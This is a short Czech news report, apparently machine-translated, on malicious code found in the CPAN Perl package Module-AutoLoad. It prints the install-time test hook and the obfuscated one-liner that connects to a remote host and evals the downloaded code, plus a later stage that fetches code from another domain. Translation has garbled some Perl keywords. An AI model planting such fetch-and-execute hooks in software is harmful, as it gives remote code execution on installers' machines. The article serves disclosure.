V balíčku Module-AutoLoad Perl byl zjištěn škodlivý kód

V balíku Perl distribuovaném prostřednictvím adresáře CPAN Modul-AutoLoad, navržený tak, aby automaticky načítal moduly CPAN za běhu, identifikované Škodlivý kód. Škodlivá vložka byla nalezeno v testovacím kódu 05_rcx.t, která je expedována od roku 2011.
Je pozoruhodné, že se objevily otázky týkající se načítání diskutabilního kódu stackoverflow zpět v roce 2016.

Škodlivá aktivita se scvrkává na pokus o stažení a spuštění kódu ze serveru třetí strany (http://r.cx:1/) během provádění testovací sady spuštěné při instalaci modulu. Předpokládá se, že kód původně stažený z externího serveru nebyl škodlivý, ale nyní je požadavek přesměrován na doménu ww.limera1n.com, která poskytuje svou část kódu ke spuštění.

Uspořádání stahování do souboru 05_rcx.t Používá se následující kód:

můj $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Zadaný kód způsobí provedení skriptu ../contrib/RCX.pl, jehož obsah je redukován na řádek:

použijte lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Tento skript se načte zmatený pomocí služby perlobfuscator.com kód z externího hostitele r.cx (kódy znaků 82.46.99.88 odpovídají textu "R.cX") a provede jej v bloku eval.

$ perl -MIO::Socket -e'$b=nový IO::Socket::INET 82.46.99.88.":1″; tisknout <$b>;'
eval rozbalit u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Po rozbalení se nakonec provede následující: kód:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warning$@zatímco$b;1

Problematický balíček byl nyní z úložiště odstraněn. PAUSE (Perl Authors Upload Server) a účet autora modulu je zablokován. V tomto případě modul stále zůstává k dispozici v archivu MetaCPAN a lze jej přímo nainstalovat z MetaCPAN pomocí některých nástrojů, jako je cpanminus. Je zaznamenánože balíček nebyl široce distribuován.

Zajímavé k diskusi připojeno a autor modulu, který popřel informaci, že škodlivý kód byl vložen poté, co byl hacknut jeho web „r.cx“ a vysvětlil, že se jen bavil, a nepoužil perlobfuscator.com, aby něco skryl, ale zmenšil velikost kódu a zjednodušení jeho kopírování přes schránku. Volba názvu funkce „botstrap“ je vysvětlena skutečností, že toto slovo „zní jako bot a je kratší než bootstrap“. Autor modulu také ujistil, že identifikované manipulace neprovádějí škodlivé akce, ale pouze demonstrují načítání a provádění kódu přes TCP.

Zdroj: opennet.ru

Přidat komentář